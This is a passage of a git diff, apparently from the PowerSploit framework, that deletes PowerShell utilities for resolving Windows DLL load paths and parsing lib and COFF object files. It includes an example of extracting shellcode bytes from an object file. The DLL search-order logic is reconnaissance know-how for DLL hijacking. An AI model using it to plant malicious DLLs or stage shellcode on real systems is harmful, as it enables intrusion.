zw-)sPAk!t)!^X^aAuL3$J|!Oh_U7~y^Hq%9Reg){E$Bl(S<;4;{pGOJ8Fe>Sr^VHg z^7J}=PD{@a*h6*v83A(xx=ZK?Sdrj(m%Dv-!r-2mFG2v$A#o-M?gq1g*@H%ZGCYPDLowi}=Ao>~qs=6DUjyJyoV{&2|${}nqiTELApJie5i zP@zX9`>LqdU+Y(3?X!YL2oVU1e@cA0&W{378Na^8_jgWzpOo*#5?jZlq7T0b9y&D@ zW?T<{EDP+;>_vYMh_h$K10BTJH%|PxQw_FZ1-N^po!!zSiC4bL2f*P`#_`JSVIG?w`t z+UF0k+4oYD1p-VCuMy-Eu+$zk({v_mkLYxJ3Wo)m^+O5u_C@U^Fqah>6H~A!BuPzfl3D);XTW zz?m3m)^uGvkkUh;cuB)gQTn=m`?t{?e%9jE+`j8Nu}8_d0Vk!Qq2gJw#xo;+iqhBh zyH;`bk)I`xKTco_0Qcjac;hRr;(lVac;gmzrhsrvr|6K&6n>BvBM&6Lcf7W70)AxD-fORAc%#~M{rc} zJc77_EP_~!eFR4p&m%Y}#<-3?f}@J(5gZibeij8W}!4MW36ei*xmxN%5OGZjPMhEd8&148oQj>Ig4^7gngVOsMCPQd`rdbEk9L+@0 z&@>P|?oq-pVGOEZha?d*M7S?IkD=S_4u>Q=&%x}Osc(lvlAY&}k!**_fp#9rAde!c zL$s}fA`!*`X&+{gN0HQ#Ws(TAkK#xMc@&2QnpD$AaU_F0io-o}Ko&zDos zY@nf2Y_3nlPR;TTPSH6XU7rXny@XI{#3VS%vm05sw4)t9C<%Vzgw?AIe&Sfp&a+bA zBcJMTUo?eocdjW>!j>3ac$ zD}NVS!#e4YMODmk#HPPcWq}}q_7i@P61u0Ka=pFxiD*-Y%%}9oRG+mz&|Piqrmyu3 z=gXj=N*R(MAs=VTw?#V~mqCb5L|$Hjq@=5)Gy!UqCQPn7NdVR<1zB`bK+`D&nobI6 zdb~l^OB*2s(uTgc9pjS34o68;1}j{ny}5c_ypuZ-LI&^f1=^~0OSmm)5I0Mr!(UC3 zQmYNTG4YM5C&U@1vYV=~{Of8&5TmN!*tenFoP0X_ zO#XtvQoF~hzMogzDk>c%k%uvosBs#Jjq*{;7M~8^aXO;g)Xyb_!^20Je~B{pr&CZI ze1crUSvhO&WBV{Kt1bD2{Bi3>5_IYYR|ySt4k_dJMZrPOa%tBhPHqDC0eXOB;GT<} zG|mgoIZr?WGXjn4h9u zUDm&H@BCWfvWBKx#{-N5TFoDe3l5g#CWwS|J=U%UP4fF3Xzn5XuUp5fok`(BkdNl`B@p zvooIBTn41Jmtq_`6`c7nhPit zZ?POflQ0=WH^7qc4CnC()i8_pJYH{_9qSIKytZqe>kv{;!XA#VE-C6EMlau|NxVbA z!*CME|5k%Fp73ZnIs5d9CcM8(L~xu}*G;{_5dA{ey3XDFxVoEu9lPt>@sG=I?q)pu zHgXnM@%y#_kfM30n-wB=6x=~YgGibfk{DbFK8S#Bgk=Ih@0kdgb8*W5EyQPpR>DpI zu*CRv)FsfXKAs4T*oR+F-VSi$q;t(ZTbKmf0_01Ow2MT^92{6}2gU0yi5z&4n`j$;5<~c znJ*w?h_pmUp)<9+$SfdOCk!b3lU@Bl?U2}EtCBmtlYwDfG-xgbEXk zk0z@chHhkI$}>r|X_pu+4*E|)^2h<@_QK&W?K4-_SR0{Ygjd>D#h+|O&O`UXDUHGx zLoD}gq94P9Plq^%u#sW)5A(CGcq-t&hY8DiLiHKaus#MHwTT$;^i~V$HR&E)VI2Ll zHqbB`xyzCLMlUp_z_qbK9Mo=q!Db7rJ1N>7h^J=;fn+su)4)~cDEIjF?yq8ZDXR|Y z#21)p3Nx<5>Sarj3y2&VRQp)1L;$AbrGq)^Vrp;!=B`{kvuUCxqQ5Z(a8N(yiKPK8 zN63rvaZQsurABg%`Uy6QCP@R*wQ1AyJCAg@=cpat4B)wI1Rx=boGSLy8a|4xrPI#5 zhnYjXKT+V;PXVMuRxT`jWNp(~!|)hc7`5#l;3H+iW279^(CX=lQ~GETdRFlu@Hzs) zBlvuI51(iJe=eGJQQ>)xvBU3~p}Qcm^E+RgOWSGcmFnqqN!=)e5UyozvwPt#fenO} z!a806+~FDZz{N||8;Y4)JXkH()f{`_!4}XjrWp=&fC9>!)X_>FxDO>_A|@&%93n-M z0V;+IZ{A@c04^A(%OE0MSj>(6tbosP&T=ysj6;>NAX9S;OBk;RjC3uq#qg%XrVqe+ zNE#95Wm0iJgjqRKi_$l6G>4c3)kZ(?J6|ecl|!-|$aNjoJVi4o3iJv#Q6@IF&7upz z%F(N4h}*@=<0mFIlkvPH+PsMxiC06zqB2Za-W;J9C~i6ivZy2s*bT3xgBi0fkRDLF zZClueOZHn#<>yp03$Kesg*lzpMlA)T&a7{&*=Q^LAu*fYVGDKMVr5j&6VD6LOsRr@ zE7z-`!LLs?Y6c_a_?G2u*C{;Xr(3kEH+)E zcC%Tp5G#j5eZw7y*DS*M@S<%~SLDnJsiZ?QST7RT;_12FJYyqZvWLRhq!$in9!(!B{<#~NDgHOvE?9Tz9hFuaRRI$@mU)Ltm{?JqLaLBGHhnJ1r zNd?p8fSqD!gvG=ZnM0me{ggwm3zM5L2#2RmUG%^z>!}8@c7As%^D4#_t#NE1+f2wZ ej16NDpoj+Y<7npcYslPii!6@2kUmHV_WuLL;g>c5 diff --git a/Capstone/lib/x86/place_32-bit_libcapstone.dll_here b/Capstone/lib/x86/place_32-bit_libcapstone.dll_here deleted file mode 100644 index e69de29b..00000000 diff --git a/PETools/Get-DllLoadPath.ps1 b/PETools/Get-DllLoadPath.ps1 deleted file mode 100644 index 97b02100..00000000 --- a/PETools/Get-DllLoadPath.ps1 +++ /dev/null @@ -1,190 +0,0 @@ -function Get-DllLoadPath -{ -<# -.SYNOPSIS - -Outputs the order of paths in which a dll would be loaded. - -PowerSploit Function: Get-DllLoadPath -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-DllLoadPath returns the path from which Windows will load a Dll for the given executable. - -.PARAMETER ExecutablePath - -Path to the executable from which the Dll would be loaded. - -.PARAMETER DllName - -Name of the Dll in the form 'dllname.dll'. - -.EXAMPLE - -C:\PS> Get-DllLoadPath C:\Windows\System32\cmd.exe kernel32.dll - -Path ----- -C:\Windows\system32\kernel32.dll - -.EXAMPLE - -C:\PS> Get-DllLoadPath C:\Windows\SysWOW64\calc.exe Comctl32.dll - -Path ----- -C:\Windows\SysWOW64\Comctl32.dll - -.OUTPUTS - -System.Management.Automation.PathInfo - -.NOTES - -This script will not detect if the executable provided intentionally alters the Dll search path via LoadLibraryEx, SetDllDirectory, or AddDllDirectory. - -.LINK - -http://www.exploit-monday.com -http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586%28v=vs.85%29.aspx -#> - - Param ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $ExecutablePath, - - [Parameter(Position = 1, Mandatory = $True)] - [String] - $DllName - ) - - if (!(Test-Path $ExecutablePath)) { - Write-Warning 'Invalid path or file does not exist.' - return - } else { - $ExecutablePath = Resolve-Path $ExecutablePath - $ExecutableDirectory = Split-Path $ExecutablePath - } - - if ($DllName.Contains('.dll')) { - $DllNameShort = $DllName.Split('.')[0] - } else { - Write-Warning 'You must provide a proper dll name (i.e. kernel32.dll)' - return - } - - function Get-PEArchitecture { - - Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path ) - - # Parse PE header to see if binary was compiled 32 or 64-bit - $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - - [Byte[]] $MZHeader = New-Object Byte[](2) - $FileStream.Read($MZHeader,0,2) | Out-Null - - $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) - if ($Header -ne 'MZ') { - Write-Warning 'Invalid PE header.' - $FileStream.Close() - return - } - - # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) - $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - - [Byte[]] $lfanew = New-Object Byte[](4) - - # Read offset to the PE Header (will be read in reverse) - $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - - # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE - $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null - [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - - # Read compiled architecture - $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') - $FileStream.Close() - - if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { - Write-Warning 'Invalid PE header or unsupported architecture.' - return - } - - if ($Architecture -eq '014C') { - return 'X86' - } elseif ($Architecture -eq '8664') { - return 'X64' - } else { - return 'OTHER' - } - - } - - # Check if SafeDllSearch is disabled. Note: The logic of this check will fail in XP SP0/1 - $UnsafeSearch = $False - $SearchMode = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager').SafeDllSearchMode - if ($SearchMode -eq 0) { $UnsafeSearch = $True } - - $OSArch = (Get-WmiObject Win32_OperatingSystem -Property OSArchitecture).OSArchitecture - $PEArch = Get-PEArchitecture $ExecutablePath - $KnownDlls = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs' - - if ($OSArch -eq '32-bit') { - $DllDirectory = Resolve-Path $KnownDlls.DllDirectory - } else { - if ($PEArch -eq 'X86') { - $DllDirectory = Resolve-Path $KnownDlls.DllDirectory32 - } else { - $DllDirectory = Resolve-Path $KnownDlls.DllDirectory - } - } - - - if ($KnownDlls | Get-Member -MemberType NoteProperty | Where-Object { $_.Name -eq $DllNameShort }) { - $Expression = '$KnownDlls.' + "$DllNameShort" - $Filename = Invoke-Expression $Expression - return Resolve-Path (Join-Path $DllDirectory $Filename) - } - - $FoundInAppDirectory = Get-ChildItem (Join-Path $ExecutableDirectory $DllName) -ErrorAction SilentlyContinue - if ($FoundInAppDirectory) { return Resolve-Path $FoundInAppDirectory.FullName } - - if ($UnsafeSearch) { - $FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue - if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName } - } - - $FoundInSystemDirectory = Get-ChildItem (Join-Path $DllDirectory $DllName) -ErrorAction SilentlyContinue - if ($FoundInSystemDirectory) { return Resolve-Path $FoundInSystemDirectory.FullName } - - $FoundIn16BitSystemDir = Get-ChildItem "$($Env:windir)\System\$DllName" -ErrorAction SilentlyContinue - if ($FoundIn16BitSystemDir) { return Resolve-Path $FoundIn16BitSystemDir.FullName } - - $FoundInWindowsDirectory = Get-ChildItem "$($Env:windir)\$DllName" -ErrorAction SilentlyContinue - if ($FoundInWindowsDirectory) { return Resolve-Path $FoundInWindowsDirectory.FullName } - - if (!$UnsafeSearch) { - $FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue - if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName } - } - - $Env:Path.Split(';') | ForEach-Object { - if ($_ -match '%(.{1,})%') { - $TempPath = $_.Replace($Matches[0], [Environment]::GetEnvironmentVariable($Matches[1])) - } else { - $TempPath = $_ - } - - $FoundInPathEnvVar = Get-ChildItem (Join-Path $TempPath $DllName) -ErrorAction SilentlyContinue - if ($FoundInPathEnvVar) { return Resolve-Path $FoundInPathEnvVar.FullName } - } - -} diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml deleted file mode 100644 index 5d4d8484..00000000 --- a/PETools/Get-LibSymbols.format.ps1xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - - SymbolTypeView - - COFF.SymbolInfo - - - - - - - SymbolType - - - Module - - - DecoratedName - - - UndecoratedName - - - - - - - - diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 deleted file mode 100644 index 98646768..00000000 --- a/PETools/Get-LibSymbols.ps1 +++ /dev/null @@ -1,282 +0,0 @@ -function Get-LibSymbols -{ -<# -.SYNOPSIS - - Displays symbolic information from Windows lib files. - - PowerSploit Function: Get-LibSymbols - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Get-LibSymbols parses and returns symbols in Windows .lib files - in both decorated and undecorated form (for C++ functions). - -.PARAMETER Path - - Specifies a path to one or more lib file locations. - -.EXAMPLE - - C:\PS>Get-LibSymbols -Path msvcrt.lib - -.EXAMPLE - - C:\PS>ls *.lib | Get-LibSymbols - -.INPUTS - - System.String[] - - You can pipe a file system path (in quotation marks) to Get-LibSymbols. - -.OUTPUTS - - COFF.SymbolInfo - -.LINK - - http://www.exploit-monday.com/ -#> - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [ValidateScript({ Test-Path $_ })] - [Alias('FullName')] - [String[]] - $Path - ) - - BEGIN - { - $Code = @' - using System; - using System.IO; - using System.Text; - using System.Runtime.InteropServices; - - namespace COFF - { - public class HEADER - { - public ushort Machine; - public ushort NumberOfSections; - public DateTime TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public ushort Characteristics; - - public HEADER(BinaryReader br) - { - this.Machine = br.ReadUInt16(); - this.NumberOfSections = br.ReadUInt16(); - this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); - this.PointerToSymbolTable = br.ReadUInt32(); - this.NumberOfSymbols = br.ReadUInt32(); - this.SizeOfOptionalHeader = br.ReadUInt16(); - this.Characteristics = br.ReadUInt16(); - } - } - - public class IMAGE_ARCHIVE_MEMBER_HEADER - { - public string Name; - public DateTime Date; - public ulong Size; - public string EndHeader; - - public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br) - { - string tempName = Encoding.UTF8.GetString(br.ReadBytes(16)); - DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0); - this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47)); - this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0])); - br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields. - this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]); - this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2)); - } - } - - public class Functions - { - [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)] - public static extern int UnDecorateSymbolName( - [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName, - [Out] StringBuilder UnDecoratedName, - [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength, - [In] [MarshalAs(UnmanagedType.U4)] uint Flags); - } - } -'@ - - Add-Type -TypeDefinition $Code - - function Dispose-Objects - { - $BinaryReader.Close() - $FileStream.Dispose() - } - } - - PROCESS - { - foreach ($File in $Path) - { - # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path. - $LibFilePath = Resolve-Path $File - - # Pull out just the file name - $LibFileName = Split-Path $LibFilePath -Leaf - - $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60 - $IMAGE_ARCHIVE_START = "!`n" # Magic used for lib files - $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length - $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header - $SizeofCOFFFileHeader = 20 - - # Open the object file for reading - $FileStream = [IO.File]::OpenRead($LibFilePath) - - $FileLength = $FileStream.Length - - # Validate lib header size - if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR) - { - # You cannot parse the lib header if the file is not big enough to contain a lib header. - Write-Error "$($LibFileName) is too small to store a lib header." - $FileStream.Dispose() - return - } - - # Open a BinaryReader object for the lib file - $BinaryReader = New-Object IO.BinaryReader($FileStream) - - $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8)) - - if ($ArchiveStart -ne $IMAGE_ARCHIVE_START) - { - Write-Error "$($LibFileName) does not contain a valid lib header." - Dispose-Objects - return - } - - # Parse the first archive header - $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) - - if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END) - { - Write-Error "$($LibFileName) does not contain a valid lib header." - Dispose-Objects - return - } - - # Check for the existence of symbols - if ($ArchiveHeader.Size -eq 0) - { - Write-Warning "$($LibFileName) contains no symbols." - Dispose-Objects - return - } - - $NumberOfSymbols = $BinaryReader.ReadBytes(4) - - # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format - if ([BitConverter]::IsLittleEndian) - { - [Array]::Reverse($NumberOfSymbols) - } - - $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0) - - $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols) - - foreach ($Offset in 0..($SymbolOffsets.Length - 1)) - { - $SymbolOffset = $BinaryReader.ReadBytes(4) - - if ([BitConverter]::IsLittleEndian) - { - [Array]::Reverse($SymbolOffset) - } - - $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0) - } - - $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1 - # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) - - # Write-Output $SymbolStrings - - # There will be many duplicate offset entries. Remove them. - $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique - - $SymbolOffsetsSorted | ForEach-Object { - # Seek to the each repective offset in the file - $FileStream.Seek($_, 'Begin') | Out-Null - - $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) - - # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header - # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file' - # consists solely of the module name and symbol. - $CoffHeader = New-Object COFF.HEADER($BinaryReader) - - # Check for 0xFFFF flag value - if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue) - { - # Get the total length of the module and symbol name - $SymbolStringLength = $CoffHeader.NumberOfSymbols - $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) - - $DecoratedSymbol = $Symbols[0] - $UndecoratedSymbol = '' - - # Default to a 'C' type symbol unless it starts with a '?' - $SymbolType = 'C' - - # Is the symbol a C++ type? - if ($DecoratedSymbol.StartsWith('?')) - { - $StrBuilder = New-Object Text.Stringbuilder(512) - # Magically undecorated the convoluted C++ symbol into a proper C++ function definition - [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null - $UndecoratedSymbol = $StrBuilder.ToString() - $SymbolType = 'C++' - } - else - { - if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@') - { - $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] - } - else - { - $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0] - } - } - - $SymInfo = @{ - DecoratedName = $DecoratedSymbol - UndecoratedName = $UndecoratedSymbol - Module = $Symbols[1] - SymbolType = $SymbolType - } - - $ParsedSymbol = New-Object PSObject -Property $SymInfo - $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo' - - Write-Output $ParsedSymbol - } - } - - # Close file and binaryreader objects - Dispose-Objects - } - } - - END {} -} diff --git a/PETools/Get-ObjDump.format.ps1xml b/PETools/Get-ObjDump.format.ps1xml deleted file mode 100644 index 25e13b85..00000000 --- a/PETools/Get-ObjDump.format.ps1xml +++ /dev/null @@ -1,292 +0,0 @@ - - - - - ObjectFileView - - COFF.OBJECT_FILE - - - - - - - COFFHeader - - - SectionHeaders - - - SymbolTable - - - - - - - - COFFHeaderView - - COFF.HEADER - - - - - - - Machine - - - NumberOfSections - 0x{0:X4} - - - TimeDateStamp - - - PointerToSymbolTable - 0x{0:X8} - - - NumberOfSymbols - 0x{0:X8} - - - SizeOfOptionalHeader - 0x{0:X4} - - - Characteristics - - - - - - - - SectionHeaderView - - COFF.SECTION_HEADER - - - - - - - Name - - - PhysicalAddress - 0x{0:X8} - - - VirtualSize - 0x{0:X8} - - - VirtualAddress - 0x{0:X8} - - - SizeOfRawData - 0x{0:X8} - - - PointerToRawData - 0x{0:X8} - - - PointerToRelocations - 0x{0:X8} - - - PointerToLinenumbers - 0x{0:X8} - - - NumberOfRelocations - 0x{0:X4} - - - NumberOfLinenumbers - 0x{0:X4} - - - Characteristics - - - RawData - - - Relocations - - - - - - - - SymbolTableView - - COFF.SYMBOL_TABLE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Name - - - Value - 0x{0:X8} - - - SectionNumber - - - Type - - - StorageClass - - - NumberOfAuxSymbols - 0x{0:X2} - - - AuxSymbols - - - - - - - - SectionDefinitionView - - COFF.SECTION_DEFINITION - - - - - - - - - - - - - - - - - - - - - - - - - - - - Length - 0x{0:X8} - - - NumberOfRelocations - 0x{0:X4} - - - NumberOfLinenumbers - 0x{0:X4} - - - CheckSum - 0x{0:X8} - - - Number - 0x{0:X4} - - - Selection - 0x{0:X2} - - - - - - - - RelocationView - - COFF.RelocationEntry - - - - - - - - - - - - - - - - - - - - - - VirtualAddress - 0x{0:X8} - - - SymbolTableIndex - 0x{0:X8} - - - Type - - - Name - - - - - - - - diff --git a/PETools/Get-ObjDump.ps1 b/PETools/Get-ObjDump.ps1 deleted file mode 100644 index 2a8ebcb8..00000000 --- a/PETools/Get-ObjDump.ps1 +++ /dev/null @@ -1,708 +0,0 @@ -function Get-ObjDump -{ -<# -.SYNOPSIS - - Displays information about one or more Windows object files. - - PowerSploit Function: Get-ObjDump - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Get-ObjDump parses and returns nearly identical infomation as the dumpbin - utility. By nature of Get-ObjDump returning objects though, it lends itself - much better to manipulation since every field is an object. - -.PARAMETER Path - - Specifies a path to one or more object file locations. - -.EXAMPLE - - C:\PS>Get-ObjDump -Path main.obj - -.EXAMPLE - - C:\PS>ls *.obj | Get-ObjDump - -.EXAMPLE - - C:\PS>$ObjectFile = Get-ObjDump -Path shellcode.obj - C:\PS>$CodeBytes = $ObjectFile.SectionHeaders | ? {$_.Name -eq '.text'} | % {$_.RawData} - - Description - ----------- - Pulls the raw bytes out of the text section. Note that in this form, - no relocations have been fixed up. - -.INPUTS - - System.String[] - - You can pipe a file system path (in quotation marks) to Get-ObjDump. - -.OUTPUTS - - COFF.OBJECT_FILE - -.LINK - - http://www.exploit-monday.com/ -#> - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] - [ValidateScript({ Test-Path $_ })] - [String[]] - $Path - ) - - BEGIN - { - $Code = @' - using System; - using System.IO; - using System.Text; - - namespace COFF - { - public enum Machine : ushort - { - UNKNOWN = 0, - I386 = 0x014C, // Intel 386. - R3000 = 0x0162, // MIPS little-endian =0x160 big-endian - R4000 = 0x0166, // MIPS little-endian - R10000 = 0x0168, // MIPS little-endian - WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2 - ALPHA = 0x0184, // Alpha_AXP - SH3 = 0x01A2, // SH3 little-endian - SH3DSP = 0x01A3, - SH3E = 0x01A4, // SH3E little-endian - SH4 = 0x01A6, // SH4 little-endian - SH5 = 0x01A8, // SH5 - ARM = 0x01C0, // ARM Little-Endian - THUMB = 0x01C2, - ARMV7 = 0x01C4, // ARM Thumb-2 Little-Endian - AM33 = 0x01D3, - POWERPC = 0x01F0, // IBM PowerPC Little-Endian - POWERPCFP = 0x01F1, - IA64 = 0x0200, // Intel 64 - MIPS16 = 0x0266, // MIPS - ALPHA64 = 0x0284, // ALPHA64 - MIPSFPU = 0x0366, // MIPS - MIPSFPU16 = 0x0466, // MIPS - AXP64 = ALPHA64, - TRICORE = 0x0520, // Infineon - CEF = 0x0CEF, - EBC = 0x0EBC, // EFI public byte Code - AMD64 = 0x8664, // AMD64 (K8) - M32R = 0x9041, // M32R little-endian - ARM64 = 0xAA64, // ARMv8 in 64-bit mode - CEE = 0xC0EE - } - - [Flags] - public enum CoffHeaderCharacteristics : ushort - { - RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file. - EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references). - LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file. - LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file. - AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set - LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses - REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed. - BIT32_MACHINE = 0x0100, // 32 bit public ushort machine. - DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file - REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file. - NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file. - SYSTEM = 0x1000, // System File. - DLL = 0x2000, // File is a DLL. - UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine - REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed. - } - - public class HEADER - { - public Machine Machine; - public ushort NumberOfSections; - public DateTime TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public CoffHeaderCharacteristics Characteristics; - - public HEADER(BinaryReader br) - { - this.Machine = (Machine) br.ReadUInt16(); - this.NumberOfSections = br.ReadUInt16(); - this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); - this.PointerToSymbolTable = br.ReadUInt32(); - this.NumberOfSymbols = br.ReadUInt32(); - this.SizeOfOptionalHeader = br.ReadUInt16(); - this.Characteristics = (CoffHeaderCharacteristics) br.ReadUInt16(); - } - } - - [Flags] - public enum SectionHeaderCharacteristics : uint - { - TYPE_NO_PAD = 0x00000008, // Reserved. - CNT_CODE = 0x00000020, // Section contains code. - CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data. - CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data. - LNK_INFO = 0x00000200, // Section contains comments or some other type of information. - LNK_REMOVE = 0x00000800, // Section contents will not become part of image. - LNK_COMDAT = 0x00001000, // Section contents comdat. - NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section. - GPREL = 0x00008000, // Section content can be accessed relative to GP - MEM_FARDATA = 0x00008000, - MEM_PURGEABLE = 0x00020000, - MEM_16BIT = 0x00020000, - MEM_LOCKED = 0x00040000, - MEM_PRELOAD = 0x00080000, - ALIGN_1BYTES = 0x00100000, - ALIGN_2BYTES = 0x00200000, - ALIGN_4BYTES = 0x00300000, - ALIGN_8BYTES = 0x00400000, - ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified. - ALIGN_32BYTES = 0x00600000, - ALIGN_64BYTES = 0x00700000, - ALIGN_128BYTES = 0x00800000, - ALIGN_256BYTES = 0x00900000, - ALIGN_512BYTES = 0x00A00000, - ALIGN_1024BYTES = 0x00B00000, - ALIGN_2048BYTES = 0x00C00000, - ALIGN_4096BYTES = 0x00D00000, - ALIGN_8192BYTES = 0x00E00000, - ALIGN_MASK = 0x00F00000, - LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. - MEM_DISCARDABLE = 0x02000000, // Section can be discarded. - MEM_NOT_CACHED = 0x04000000, // Section is not cachable. - MEM_NOT_PAGED = 0x08000000, // Section is not pageable. - MEM_SHARED = 0x10000000, // Section is shareable. - MEM_EXECUTE = 0x20000000, // Section is executable. - MEM_READ = 0x40000000, // Section is readable. - MEM_WRITE = 0x80000000 // Section is writeable. - } - - public enum AMD64RelocationType : ushort - { - ABSOLUTE, - ADDR64, - ADDR32, - ADDR32NB, - REL32, - REL32_1, - REL32_2, - REL32_3, - REL32_4, - REL32_5, - SECTION, - SECREL, - SECREL7, - TOKEN, - SREL32, - PAIR, - SSPAN32 - } - - public enum ARMRelocationType : ushort - { - ABSOLUTE, - ADDR32, - ADDR32NB, - BRANCH24, - BRANCH11, - TOKEN, - BLX24 = 0x08, - BLX11 = 0x09, - SECTION = 0x0E, - SECREL = 0x0F, - MOV32A = 0x10, - MOV32T = 0x11, - BRANCH20T = 0x12, - BRANCH24T = 0x14, - BLX23T = 0x15 - } - - public enum ARMv8RelocationType : ushort - { - ABSOLUTE, - ADDR32, - ADDR32NB, - BRANCH26, - PAGEBASE_REL21, - REL21, - PAGEOFFSET_12A, - PAGEOFFSET_12L, - SECREL, - SECREL_LOW12A, - SECREL_HIGH12A, - SECREL_LOW12L, - TOKEN, - SECTION, - ADDR64 - } - - public enum X86RelocationType : ushort - { - ABSOLUTE, - DIR16, - DIR32 = 0x06, - DIR32NB = 0x07, - SEG12 = 0x09, - SECTION = 0x0A, - SECREL = 0x0B, - TOKEN = 0x0C, - SECREL7 = 0x0D, - REL32 = 0x14 - } - - public class RelocationEntry - { - public uint VirtualAddress; - public uint 